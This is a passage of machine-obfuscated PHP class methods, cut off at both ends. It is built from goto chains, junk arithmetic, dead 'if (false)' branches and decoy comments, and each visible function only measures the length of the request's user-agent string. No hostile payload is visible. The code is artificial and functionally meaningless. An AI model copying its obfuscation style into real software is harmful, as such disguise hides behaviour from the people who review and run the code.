p4GrLbQ4; p4GrLbQ4: $XsucffsH = 679 + 28; $FbaGmw5w = $XsucffsH * 2; goto QxrMdXce; QxrMdXce: /* Security component */ goto BRxNFzX2; BRxNFzX2: goto a0VbESoDg; a0VbESoDg: $B9ma2fmF = 429 + 2; $jIP39ari = $B9ma2fmF * 2; goto o2urv0ZY; o2urv0ZY: $WWDcP6ib = 668 + 25; $Pe9zuJ4r = $WWDcP6ib * 1; goto pwriY4fv; pwriY4fv: /* tgtr8fvMj9mewL1 */ goto zANy8_BH; zANy8_BH: return $BqYDw4sr > 10; } private function a2suOTwcSiS() { /* bZ66G3pkZYM69Na */ goto tV8vKbFO; tV8vKbFO: $Pe9zuJ4r = 635 + 10; $iCjD65Pi = $Pe9zuJ4r * 5; goto Q11oHDBB; Q11oHDBB: goto A0h1POuu; A0h1POuu: // xBjdqH3IPzIB9ZM5 $Pe9zuJ4r = 570 + 49; $n7sJ6WnP = $Pe9zuJ4r * 2; goto kR4i80ch; kR4i80ch: if (false) { echo 'This is a dead end'; } goto kXwbMGFQ; kXwbMGFQ: if (false) { echo 'This is a dead end'; } goto a8eCA0GMl; a8eCA0GMl: /* Security component */ goto z1laj641; z1laj641: /* API handler */ goto lpCqv7vt; lpCqv7vt: goto iq6ZLf3q; iq6ZLf3q: // MbYIBjB7 $n7sJ6WnP = 848 + 27; $FbaGmw5w = $n7sJ6WnP * 3; if (false) { echo 'This is a dead end'; } goto uHEtHFEG; uHEtHFEG: goto D4mHcn9F; D4mHcn9F: $BqYDw4sr = 768 + 18; $bZa4iOd6 = $BqYDw4sr * 1; goto UeWtPBR8; UeWtPBR8: /* Core module */ $iX1geSuk = 941 + 29; $n7sJ6WnP = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto D_BqMppB; D_BqMppB: // pOq4I9h3 $a6b9oay5s = 492 + 24; $iCjD65Pi = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto UiDVag6M; UiDVag6M: // M3EDbbXp $Pe9zuJ4r = 963 + 42; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto jvtS2oks; jvtS2oks: $XsucffsH = 136 + 10; $a6EHyDbxg = $XsucffsH * 5; goto D53IXIGs; D53IXIGs: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto iSbH4_0Z; iSbH4_0Z: /* API handler */ $a29IFo9lZ = 268 + 31; $Pe9zuJ4r = $a29IFo9lZ * 5; goto Pq8hLFBr; Pq8hLFBr: goto iK_zjb9e; iK_zjb9e: /* Main service */ $jIP39ari = 608 + 38; $NqlX8zGc = $jIP39ari * 4; goto wtcjjGuW; wtcjjGuW: if (false) { echo 'This is a dead end'; } goto K1yY3Ymc; K1yY3Ymc: $iX1geSuk = 171 + 16; $XsucffsH = $iX1geSuk * 5; goto SPla5Khf; SPla5Khf: goto l6cSbWvL; l6cSbWvL: /* Main service */ $a6EHyDbxg = 809 + 5; $BqYDw4sr = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto HPLvuf1D; HPLvuf1D: goto dGOjAwl1; dGOjAwl1: $iCjD65Pi = 309 + 47; $a29IFo9lZ = $iCjD65Pi * 5; goto aqtm6sOe; aqtm6sOe: if (false) { echo 'This is a dead end'; } goto dGr4ertE; dGr4ertE: /* X2Ud6Kd4IdIfr36 */ goto l1rK2zYx; l1rK2zYx: /* Main service */ goto a1Hc7k83D; a1Hc7k83D: goto O7Wl71PK; O7Wl71PK: /* API handler */ goto a_tJ0CI5H; a_tJ0CI5H: /* Core module */ goto PqoIjZEE; PqoIjZEE: $B9ma2fmF = strlen($jIP39ari); goto zLt_mude; zLt_mude: /* API handler */ $a29IFo9lZ = 483 + 48; $NqlX8zGc = $a29IFo9lZ * 3; if (false) { echo 'This is a dead end'; } goto CLBXCE0g; CLBXCE0g: if (false) { echo 'This is a dead end'; } goto HvyglbhJ; HvyglbhJ: if (false) { echo 'This is a dead end'; } goto plA70bw_; plA70bw_: goto H5aXQGFN; H5aXQGFN: /* System file */ $bZa4iOd6 = 943 + 23; $a6b9oay5s = $bZa4iOd6 * 1; goto DwdfHvXJ; DwdfHvXJ: goto B0igeQE7; B0igeQE7: $B9ma2fmF = 201 + 30; $jIP39ari = $B9ma2fmF * 3; goto a7BRrvgUH; a7BRrvgUH: goto a99RvesCg; a99RvesCg: goto AjFB_Ow5; AjFB_Ow5: $n7sJ6WnP = 504 + 18; $BqYDw4sr = $n7sJ6WnP * 4; goto QsWvEqbT; QsWvEqbT: /* System file */ goto n4AS_z_x; n4AS_z_x: if (false) { echo 'This is a dead end'; } goto jIZIav0k; jIZIav0k: goto RA0w69dx; RA0w69dx: goto CD0tGuf_; CD0tGuf_: if (false) { echo 'This is a dead end'; } goto f0P1uLwm; f0P1uLwm: return $B9ma2fmF > 10; } private function a5ihYb5Z3R_() { goto Eu6gtmG4; Eu6gtmG4: /* API handler */ goto eoQodCiu; eoQodCiu: goto YmrtALZj; YmrtALZj: /* dX7n7zlHSNPPvIxu0U_Z */ goto AAW12wBG; AAW12wBG: $B9ma2fmF = 411 + 25; $WWDcP6ib = $B9ma2fmF * 1; goto VxGCP7ep; VxGCP7ep: goto O_JLGC32; O_JLGC32: /* System file */ goto c9Sqs0xq; c9Sqs0xq: if (false) { echo 'This is a dead end'; } goto EmCIMW0m; EmCIMW0m: goto wqDG5MQY; wqDG5MQY: /* System file */ $Pe9zuJ4r = 398 + 6; $B9ma2fmF = $Pe9zuJ4r * 2; goto idsD8HaF; idsD8HaF: // NXoZXFlZCPunsP8Z if (false) { echo 'This is a dead end'; } goto lVcY_QCy; lVcY_QCy: $FbaGmw5w = 889 + 17; $Pe9zuJ4r = $FbaGmw5w * 4; goto o92OmjkK; o92OmjkK: /* dw8HDD91KnsrX2dgLNwa */ $NqlX8zGc = 671 + 9; $FbaGmw5w = $NqlX8zGc * 4; goto EyeTcJNC; EyeTcJNC: /* Core module */ $NqlX8zGc = 197 + 31; $FbaGmw5w = $NqlX8zGc * 4; goto gUD0zDNl; gUD0zDNl: /* Main service */ $B9ma2fmF = 704 + 7; $NqlX8zGc = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto a8PNDZL16; a8PNDZL16: $NqlX8zGc = 576 + 38; $n7sJ6WnP = $NqlX8zGc * 2; goto czL7pOmb; czL7pOmb: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a9K840gHH; a9K840gHH: goto zreDowoE; zreDowoE: $jIP39ari = 490 + 44; $a6EHyDbxg = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto zFV0cren; zFV0cren: $n7sJ6WnP = 118 + 24; $iX1geSuk = $n7sJ6WnP * 3; goto QbNfVu8P; QbNfVu8P: /* Security component */ goto yvQ4sxVh; yvQ4sxVh: /* Security component */ goto kyex1RBM; kyex1RBM: /* Zu9Nd2IAfUtSTow */ goto X2DJgW6R; X2DJgW6R: $jIP39ari = 317 + 25; $XsucffsH = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto a5zE4rTaB; a5zE4rTaB: if (false) { echo 'This is a dead end'; } goto a54Yq1AfD; a54Yq1AfD: $a6EHyDbxg = 179 + 48; $XsucffsH = $a6EHyDbxg * 3; goto OfoswzN3; OfoswzN3: $XsucffsH = 905 + 35; $iX1geSuk = $XsucffsH * 3; goto qHBBZg7g; qHBBZg7g: goto WUq3ZEyE; WUq3ZEyE: /* gmzj2N7zBt */ $NqlX8zGc = 482 + 44; $B9ma2fmF = $NqlX8zGc * 4; goto tl_BsBhD; tl_BsBhD: if (false) { echo 'This is a dead end'; } goto UqsPcNMD; UqsPcNMD: /* Main service */ if (false) { echo 'This is a dead end'; } goto a8FgfSVK9; a8FgfSVK9: /* EGLVl_z_Jt */ goto yS5S86y7; yS5S86y7: $NqlX8zGc = strlen($iX1geSuk); goto eHuGd4xR; eHuGd4xR: /* Main service */ $a29IFo9lZ = 138 + 35; $a6EHyDbxg = $a29IFo9lZ * 3; goto RnqRUvri; RnqRUvri: $FbaGmw5w = 157 + 28; $bZa4iOd6 = $FbaGmw5w * 1; goto K4t402ss; K4t402ss: $B9ma2fmF = 299 + 47; $a6EHyDbxg = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto qRgLOWAV; qRgLOWAV: goto LRyEsLau; LRyEsLau: goto a7pSWChPS; a7pSWChPS: /* YU1sLwFaw7jdzvR */ goto FRCq6g2D; FRCq6g2D: // KxxELNfa $n7sJ6WnP = 944 + 16; $bZa4iOd6 = $n7sJ6WnP * 5; goto a0T1lF0RW; a0T1lF0RW: goto MoElksBR; MoElksBR: // tYKvDbMZ goto eJXqe17S; eJXqe17S: // PeZm0iiLfckOxNss $iCjD65Pi = 440 + 5; $a6EHyDbxg = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto fXPqltlc; fXPqltlc: $BqYDw4sr = 810 + 26; $bZa4iOd6 = $BqYDw4sr * 1; goto QpmFbmaK; QpmFbmaK: /* API handler */ $FbaGmw5w = 532 + 17; $XsucffsH = $FbaGmw5w * 2; goto FNwIVpsr; FNwIVpsr: goto B1552wf_; B1552wf_: /* IlteU4aBJAsknc5pozXx */ goto FQATWkG2; FQATWkG2: goto uOA_lX8B; uOA_lX8B: return $NqlX8zGc > 10; } private function aHWNfLgB9G() { /* na1WdsMj3nPuQi7nCmJY */ goto lN82JqMC; lN82JqMC: if (false) { echo 'This is a dead end'; } goto lf1_kEuo; lf1_kEuo: goto qeu0hAfb; qeu0hAfb: /* wdtKK5eYCWQoTGq6ULm4 */ goto OOhqF2ZE; OOhqF2ZE: /* dNC0esY_UABjL2uZWhu4 */ goto l20SXluR; l20SXluR: goto a7uIDWYOD; a7uIDWYOD: // Y1cbrl51AV7Z $XsucffsH = 175 + 28; $Pe9zuJ4r = $XsucffsH * 4; goto FMOKuLNO; FMOKuLNO: goto goDUMnpR; goDUMnpR: /* Core module */ goto UcJeAMiV; UcJeAMiV: /* API handler */ $BqYDw4sr = 504 + 34; $a6EHyDbxg = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto N3mtgM74; N3mtgM74: // h2Yr8YzO goto wkYb3J7g; wkYb3J7g: /* Security component */ $iCjD65Pi = 583 + 31; $Pe9zuJ4r = $iCjD65Pi * 4; goto j03kFVvW; j03kFVvW: /* System file */ goto cb5Z98Kw; cb5Z98Kw: /* Core module */ goto dVtDgWvD; dVtDgWvD: goto kIMg33k9; kIMg33k9: /* Core module */ if (false) { echo 'This is a dead end'; } goto y2T59VSh; y2T59VSh: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto RxmMHHDn; RxmMHHDn: /* Main service */ goto BkFZ7F69; BkFZ7F69: $bZa4iOd6 = 773 + 31; $jIP39ari = $bZa4iOd6 * 5; goto PiVwxjzK; PiVwxjzK: // qDREP0wnU7ypuyLO $FbaGmw5w = 700 + 30; $BqYDw4sr = $FbaGmw5w * 4; goto a_CM3zqrV; a_CM3zqrV: goto ZyNXQJhw; ZyNXQJhw: /* PWCnkXg0OCMLbVFZde0H */ $FbaGmw5w = 942 + 7; $a29IFo9lZ = $FbaGmw5w * 4; goto a4POMBvT_; a4POMBvT_: // lYm6wr2G1Zog $B9ma2fmF = 698 + 8; $a6b9oay5s = $B9ma2fmF * 2; goto a50k77sjM; a50k77sjM: // WoyHY9ZACm2V $a6b9oay5s = 221 + 42; $WWDcP6ib = $a6b9oay5s * 3; goto a8n5CEsqb; a8n5CEsqb: if (false) { echo 'This is a dead end'; } goto ui8Ksg5p; ui8Ksg5p: // 0V3c7GYd8NyWkMYb goto a46fiTFFT; a46fiTFFT: /* tZAbGJPeozitICX */ $Pe9zuJ4r = 309 + 7; $XsucffsH = $Pe9zuJ4r * 3; goto a2vmIIYnP; a2vmIIYnP: // KKt236Tl goto ALc3AEyT; ALc3AEyT: /* Core module */ goto rHA1Ueu0; rHA1Ueu0: /* Main service */ $BqYDw4sr = 368 + 18; $jIP39ari = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto QzebJ61K; QzebJ61K: /* pY7HHXPZQbeF8kZIqZBg */ goto a5WPud14n; a5WPud14n: goto TYw0FzMX; TYw0FzMX: $Pe9zuJ4r = strlen($iX1geSuk); goto D0wOSgBv; D0wOSgBv: /* System file */ $NqlX8zGc = 216 + 22; $iX1geSuk = $NqlX8zGc * 4; goto x7GmJ173; x7GmJ173: $iX1geSuk = 202 + 8; $n7sJ6WnP = $iX1geSuk * 4; goto B8HcgMg7; B8HcgMg7: $n7sJ6WnP = 343 + 50; $a6EHyDbxg = $n7sJ6WnP * 4; goto yiqiLZ8F; yiqiLZ8F: goto h9Bqp7m1; h9Bqp7m1: // rAaFdPb0HQIN goto a7nxKndNt; a7nxKndNt: goto YCU5UOQW; YCU5UOQW: goto ozsPSNzk; ozsPSNzk: goto UW8YMs1O; UW8YMs1O: /* 66Z0red0E9AS6Ze */ goto idAFr8lH; idAFr8lH: /* System file */ goto W4eD3WSV; W4eD3WSV: $n7sJ6WnP = 788 + 45; $a6EHyDbxg = $n7sJ6WnP * 4; goto a2reTJSlw; a2reTJSlw: goto mgdonk5q; mgdonk5q: /* System file */ goto NypwJwZz; NypwJwZz: $BqYDw4sr = 815 + 1; $n7sJ6WnP = $BqYDw4sr * 2; goto tX3eeaEc; tX3eeaEc: // LBDlPats if (false) { echo 'This is a dead end'; } goto wecvMX8n; wecvMX8n: return $Pe9zuJ4r > 10; } private function a2kvOQqdmDE() { goto W0CsPzsw; W0CsPzsw: goto a74uL7KmF; a74uL7KmF: if (false) { echo 'This is a dead end'; } goto a36dspWgf; a36dspWgf: // xyXN_ozpsPim $n7sJ6WnP = 927 + 32; $BqYDw4sr = $n7sJ6WnP * 4; goto NFImY3I1; NFImY3I1: $bZa4iOd6 = 551 + 12; $a6EHyDbxg = $bZa4iOd6 * 1; goto OKIuFMIa; OKIuFMIa: if (false) { echo 'This is a dead end'; } goto INkOKBqv; INkOKBqv: goto VySGVg0a; VySGVg0a: /* System file */ goto a969WzGW0; a969WzGW0: /* System file */ $a6b9oay5s = 486 + 39; $iX1geSuk = $a6b9oay5s * 5; goto YRjEPpaz; YRjEPpaz: /* AfmdxTSrNAVYpu2 */ $iCjD65Pi = 468 + 11; $XsucffsH = $iCjD65Pi * 4; goto a1Z5WY5Qk; a1Z5WY5Qk: $Pe9zuJ4r = 686 + 35; $a29IFo9lZ = $Pe9zuJ4r * 2; goto j7dBYZVp; j7dBYZVp: /* Main service */ goto tOUnJVvL; tOUnJVvL: goto ReioZgjR; ReioZgjR: // 8jeQsRmTRUzV $a6EHyDbxg = 875 + 44; $FbaGmw5w = $a6EHyDbxg * 4; goto SZ6Npea8; SZ6Npea8: goto a0632_ZIM; a0632_ZIM: goto loi9yhwm; loi9yhwm: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a4Gfp7FV1; a4Gfp7FV1: // ZNrv0dHf goto a7T0NkmWc; a7T0NkmWc: goto a7a6BYOz1; a7a6BYOz1: /* Security component */ goto E4UDxYJh; E4UDxYJh: goto LpHu4anm; LpHu4anm: /* API handler */ goto X7DP1HrF; X7DP1HrF: /* lXtTUA5gPP */ goto gvsR6HCf; gvsR6HCf: $n7sJ6WnP = 135 + 35; $a6EHyDbxg = $n7sJ6WnP * 1; goto RVizs62A; RVizs62A: $XsucffsH = 400 + 6; $a6b9oay5s = $XsucffsH * 4; goto rFS9Ha1W; rFS9Ha1W: // 4py9a0JeJQqu goto fV113RGJ; fV113RGJ: $iCjD65Pi = 629 + 25; $XsucffsH = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto a6aFt05mR; a6aFt05mR: // t6M4AYeTkkKFgjeb goto hGtd1X6L; hGtd1X6L: /* 4wk3mACFAjpG0w6UZek0 */ $a6b9oay5s = 872 + 2; $jIP39ari = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto QjAhEt6B; QjAhEt6B: $XsucffsH = 706 + 12; $FbaGmw5w = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto MKH8zHU3; MKH8zHU3: /* System file */ goto rtWQCKBX; rtWQCKBX: /* A3QooW8gfzjX9pc */ goto YwwLO58P; YwwLO58P: $a6EHyDbxg = strlen($iX1geSuk); goto u8iqu7iH; u8iqu7iH: $a29IFo9lZ = 868 + 39; $n7sJ6WnP = $a29IFo9lZ * 2; goto edjPYJZn; edjPYJZn: goto jY93RUIf; jY93RUIf: goto txXDogit; txXDogit: /* API handler */ goto a1YY9a0yg; a1YY9a0yg: $WWDcP6ib = 632 + 16; $NqlX8zGc = $WWDcP6ib * 2; goto fMgfB6ay; fMgfB6ay: goto IJi_gMKi; IJi_gMKi: goto ZX5lfDgq; ZX5lfDgq: $n7sJ6WnP = 181 + 37; $a6EHyDbxg = $n7sJ6WnP * 4; goto xZJz4_JU; xZJz4_JU: goto F7QguvfK; F7QguvfK: goto A38wIfFM; A38wIfFM: if (false) { echo 'This is a dead end'; } goto a7nSfcfFx; a7nSfcfFx: /* Core module */ $Pe9zuJ4r = 698 + 26; $iCjD65Pi = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto K2eD2xVi; K2eD2xVi: goto XAktYNHP; XAktYNHP: /* Security component */ $bZa4iOd6 = 236 + 46; $iX1geSuk = $bZa4iOd6 * 4; goto a2zjsgzgV; a2zjsgzgV: /* vfawqSf9aLVbwrc_wTgW */ goto a8xo8b88Z; a8xo8b88Z: return $a6EHyDbxg > 10; } private function a6bmEZgki5D() { goto yWBAR38e; yWBAR38e: goto a0Gmj2rRD; a0Gmj2rRD: if (false) { echo 'This is a dead end'; } goto Jai8ADbf; Jai8ADbf: $jIP39ari = 329 + 9; $BqYDw4sr = $jIP39ari * 1; if (false) { echo 'This is a dead end'; } goto I7xTquzC; I7xTquzC: goto Bgm2mzeI; Bgm2mzeI: // yLc4JAjC if (false) { echo 'This is a dead end'; } goto ykAPJxrm; ykAPJxrm: /* 6FtMhvAGKd */ $a6EHyDbxg = 630 + 2; $jIP39ari = $a6EHyDbxg * 3; goto i318oimK; i318oimK: $FbaGmw5w = 114 + 36; $B9ma2fmF = $FbaGmw5w * 4; goto aEV77aLh; aEV77aLh: // 3lbQ1Ks08BI3 $WWDcP6ib = 797 + 19; $n7sJ6WnP = $WWDcP6ib * 5; goto ibPDCmyi; ibPDCmyi: /* System file */ $WWDcP6ib = 663 + 49; $NqlX8zGc = $WWDcP6ib * 4; goto NiTiwaou; NiTiwaou: /* Main service */ goto a1ymXnf44; a1ymXnf44: /* System file */ if (false) { echo 'This is a dead end'; } goto sgPfOtQA; sgPfOtQA: /* System file */ goto gcl3Tkxn; gcl3Tkxn: $BqYDw4sr = 314 + 46; $iX1geSuk = $BqYDw4sr * 4; goto fNts8KpI; fNts8KpI: /* Security component */ goto WrRilRF9; WrRilRF9: goto nd9HTdQ9; nd9HTdQ9: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto wHTG4jQG; wHTG4jQG: /* Qw7LemHeBu4ToUrMd28v */ goto Kj3FvT93; Kj3FvT93: $B9ma2fmF = 140 + 7; $a6b9oay5s = $B9ma2fmF * 5; goto fEigPmSy; fEigPmSy: /* c1Rwv2Fdei1wNqFkg8Um */ goto UmSfJvJd; UmSfJvJd: $a6EHyDbxg = 680 + 17; $iCjD65Pi = $a6EHyDbxg * 4; goto Fz68lvGK; Fz68lvGK: // mpmUKfeI7Zx8xNt6 $a6b9oay5s = 253 + 18; $a29IFo9lZ = $a6b9oay5s * 1; goto i8qVKXbI; i8qVKXbI: goto mnggl4JL; mnggl4JL: /* Main service */ $a6b9oay5s = 127 + 39; $FbaGmw5w = $a6b9oay5s * 4; goto o85CXZ4S; o85CXZ4S: $FbaGmw5w = 756 + 27; $bZa4iOd6 = $FbaGmw5w * 4; goto a0N0vBYm4; a0N0vBYm4: /* Main service */ $a6EHyDbxg = 160 + 22; $WWDcP6ib = $a6EHyDbxg * 3; goto oYl7gWml; oYl7gWml: /* dOijPstN48dba_KVYdrE */ $a6b9oay5s = 896 + 36; $Pe9zuJ4r = $a6b9oay5s * 5; goto BMK5lzmp; BMK5lzmp: if (false) { echo 'This is a dead end'; } goto SNJJbplL; SNJJbplL: $FbaGmw5w = 719 + 5; $bZa4iOd6 = $FbaGmw5w * 5; goto a1fQF5E9g; a1fQF5E9g: $n7sJ6WnP = 392 + 26; $BqYDw4sr = $n7sJ6WnP * 4; goto N1EHjjMb; N1EHjjMb: /* System file */ goto J1ZTaB8T; J1ZTaB8T: goto GanhwME9; GanhwME9: $B9ma2fmF = strlen($BqYDw4sr); goto yDpjMD8f; yDpjMD8f: goto hG_08HDt; hG_08HDt: /* Core module */ goto iMmPkJ_E; iMmPkJ_E: $NqlX8zGc = 264 + 41; $a29IFo9lZ = $NqlX8zGc * 5; goto CnN0XvuF; CnN0XvuF: goto n5hzpHtL; n5hzpHtL: /* API handler */ goto bEzkzljz; bEzkzljz: // 3Q6wGe2fo17E goto LbROmzNR; LbROmzNR: /* System file */ goto EpO62Gls; EpO62Gls: /* Main service */ goto h4ZGZVLI; h4ZGZVLI: /* 3cSptLVTfNwmp1S */ $iCjD65Pi = 938 + 7; $a6EHyDbxg = $iCjD65Pi * 1; goto wPbzTrSs; wPbzTrSs: if (false) { echo 'This is a dead end'; } goto BOT_A3Uc; BOT_A3Uc: /* System file */ goto a3vh9qk7j; a3vh9qk7j: $bZa4iOd6 = 384 + 30; $a29IFo9lZ = $bZa4iOd6 * 1; goto BeQSwiex; BeQSwiex: /* Core module */ goto eKRWFa3O; eKRWFa3O: /* dWm4xj0uJ6 */ goto pjZT9tV8; pjZT9tV8: /* API handler */ goto MGbrbyl9; MGbrbyl9: return $B9ma2fmF > 10; } private function g8z_sOizUr() { /* E48Ekn__97 */ goto oYOv9ko4; oYOv9ko4: // 3_bnnfVInwMWkxuR goto VztRA_mk; VztRA_mk: /* Security component */ $iX1geSuk = 791 + 22; $iCjD65Pi = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto Gr0OPoSW; Gr0OPoSW: goto n1PXTZr3; n1PXTZr3: // 0N8IBJTY $iCjD65Pi = 256 + 44; $n7sJ6WnP = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto a5Zcb36FV; a5Zcb36FV: goto p2aJ1wWw; p2aJ1wWw: goto t2f86_br; t2f86_br: goto ZuWirs7E; ZuWirs7E: goto a4zB4rUGV; a4zB4rUGV: goto SMOtQI3X; SMOtQI3X: // m8duXTBNsU3xyYAj goto a7j2yIwN6; a7j2yIwN6: /* F3SuiyUaw98Lq93wV5C7 */ goto RegJ8VOc; RegJ8VOc: if (false) { echo 'This is a dead end'; } goto a5y3lcTUH; a5y3lcTUH: goto UbEyuuhj; UbEyuuhj: /* 3qHKt4t49OiNddF */ goto a6mzLJQ_z; a6mzLJQ_z: $XsucffsH = 653 + 50; $bZa4iOd6 = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto QtBj2Oa9; QtBj2Oa9: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto XfnCepHS; XfnCepHS: $iX1geSuk = 917 + 19; $NqlX8zGc = $iX1geSuk * 1; goto yjFNdCCl; yjFNdCCl: goto JlTxX3AS; JlTxX3AS: /* Core module */ goto a6deHQhtF; a6deHQhtF: $iCjD65Pi = 683 + 25; $FbaGmw5w = $iCjD65Pi * 1; goto G_p1h983; G_p1h983: /* dmi6UG3Krtuq6EF */ goto FQouE3Pe; FQouE3Pe: /* KmjBkZCme12CqCl */ goto lQjczRGA; lQjczRGA: $BqYDw4sr = 988 + 29; $WWDcP6ib = $BqYDw4sr * 1; goto sXsifTQB; sXsifTQB: /* Security component */ goto daEPX6WB; daEPX6WB: $XsucffsH = 986 + 5; $n7sJ6WnP = $XsucffsH * 5; goto e9dE1zHC; e9dE1zHC: /* Security component */ goto Sw5KdDRj; Sw5KdDRj: goto a2Rc2oz5H; a2Rc2oz5H: /* Main service */ goto wKioaEBA; wKioaEBA: /* API handler */ goto YuYUcTWD; YuYUcTWD: goto LnpLP8Xv; LnpLP8Xv: /* w50sdaiqwA303Sq */ goto wAuJKbQz; wAuJKbQz: $n7sJ6WnP = strlen($BqYDw4sr); goto Y4XUm3HJ; Y4XUm3HJ: if (false) { echo 'This is a dead end'; } goto ngCMCyYB; ngCMCyYB: /* H2esG7MR0wU8nMlGDO37 */ goto Bs0XRfps; Bs0XRfps: /* Core module */ $bZa4iOd6 = 444 + 28; $iX1geSuk = $bZa4iOd6 * 5; goto wYzqoLWx; wYzqoLWx: /* Core module */ goto iPEyOIyw; iPEyOIyw: $a6b9oay5s = 818 + 22; $FbaGmw5w = $a6b9oay5s * 3; goto C61GeBeH; C61GeBeH: /* SWx_cn2oAAxAbD058ejF */ goto yNO6P9BY; yNO6P9BY: $iCjD65Pi = 874 + 43; $a6EHyDbxg = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto QM1LGCLd; QM1LGCLd: goto z2VdTPDk; z2VdTPDk: /* 9YZiXCny8TFC7NbZSxRj */ if (false) { echo 'This is a dead end'; } goto MJn9lncb; MJn9lncb: /* q8UgiQTVEhslX8ta0TnI */ goto vlKTHrDY; vlKTHrDY: /* API handler */ goto a__4sAxwO; a__4sAxwO: /* Core module */ goto UYwbQCEF; UYwbQCEF: $XsucffsH = 355 + 47; $bZa4iOd6 = $XsucffsH * 5; goto MchAAS07; MchAAS07: $jIP39ari = 862 + 20; $a6b9oay5s = $jIP39ari * 1; goto WqIXkdfC; WqIXkdfC: /* UDq3Q8dwMbqD0fvbBxQk */ goto CTRN9nBa; CTRN9nBa: return $n7sJ6WnP > 10; } private function c64tyho1wz() { goto Z7dTABhf; Z7dTABhf: goto UEbhVoVy; UEbhVoVy: /* cET7nj6QVA */ goto yhXMzHbi; yhXMzHbi: $NqlX8zGc = 809 + 35; $iX1geSuk = $NqlX8zGc * 2; goto a4wItnH2a; a4wItnH2a: $B9ma2fmF = 743 + 23; $B9ma2fmF = $B9ma2fmF * 3; goto WCHhtw6V; WCHhtw6V: /* LzuL_AN0v1BXTPZai1d6 */ $XsucffsH = 655 + 37; $iX1geSuk = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto LpeyklZz; LpeyklZz: goto y_bvsq4A; y_bvsq4A: /* Core module */ goto a7P0bnjlM; a7P0bnjlM: goto a38pdeLYy; a38pdeLYy: /* YWyprzvsbA */ $Pe9zuJ4r = 969 + 5; $n7sJ6WnP = $Pe9zuJ4r * 5; goto lLm_SWCm; lLm_SWCm: /* JBtGk6o9bNDhcRXvAf97 */ $FbaGmw5w = 384 + 48; $bZa4iOd6 = $FbaGmw5w * 1; goto NDupqVdy; NDupqVdy: // vIK2fAdu goto a3dUobrGA; a3dUobrGA: /* Security component */ $Pe9zuJ4r = 851 + 34; $Pe9zuJ4r = $Pe9zuJ4r * 1; goto qU5DiChK; qU5DiChK: // 8l7XLh43z2t11Bs6 goto kxg20HbD; kxg20HbD: /* Main service */ goto W0xxrJOu; W0xxrJOu: goto Uqk30zXo; Uqk30zXo: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto eph5YpmN; eph5YpmN: /* PXjO748iDzD2h0HLijet */ if (false) { echo 'This is a dead end'; } goto di7AXn5_; di7AXn5_: /* System file */ goto Np1aezua; Np1aezua: // b0Vq4oztGUN6KL4m $a6b9oay5s = 240 + 24; $bZa4iOd6 = $a6b9oay5s * 5; goto a3rnPhl5; a3rnPhl5: goto a84LyxKO5; a84LyxKO5: /* Xkxe2Po07ZyHX3svmXwx */ goto BatuwmsP; BatuwmsP: $BqYDw4sr = 338 + 37; $n7sJ6WnP = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto vzMy8d6t; vzMy8d6t: goto nKNK3hOz; nKNK3hOz: goto xNiIGmHG; xNiIGmHG: // FldDsZk8pBM6 goto lAPGc5_w; lAPGc5_w: $a6EHyDbxg = 348 + 44; $a6EHyDbxg = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto wv1_XnO6; wv1_XnO6: $iX1geSuk = 168 + 43; $XsucffsH = $iX1geSuk * 1; goto a5x7wrRPm; a5x7wrRPm: // z99Q_qaX goto JjJQijtm; JjJQijtm: /* anshhLMo_q */ goto a0JsXhAcA; a0JsXhAcA: goto a6XNubgaY; a6XNubgaY: /* Security component */ goto Y5ajfXWc; Y5ajfXWc: $BqYDw4sr = strlen($XsucffsH); goto r0lLDxzy; r0lLDxzy: $NqlX8zGc = 380 + 14; $BqYDw4sr = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto qgakFFZz; qgakFFZz: if (false) { echo 'This is a dead end'; } goto cpa51I5X; cpa51I5X: goto bu3TZb24; bu3TZb24: // V0jkwATH5tt53zSF $XsucffsH = 876 + 12; $NqlX8zGc = $XsucffsH * 4; if (false) { echo 'This is a dead end'; } goto IJzoHeXw; IJzoHeXw: // BfdcLKU3lyoF $a29IFo9lZ = 190 + 7; $WWDcP6ib = $a29IFo9lZ * 5; goto a0BSCvKJn; a0BSCvKJn: /* a_wcuuepQvwU0yVniEz3 */ $a6EHyDbxg = 786 + 45; $iCjD65Pi = $a6EHyDbxg * 4; goto xnWGK4zE; xnWGK4zE: // 6RD8ewvz $iCjD65Pi = 535 + 26; $a6EHyDbxg = $iCjD65Pi * 3; goto otMeTko7; otMeTko7: /* System file */ goto 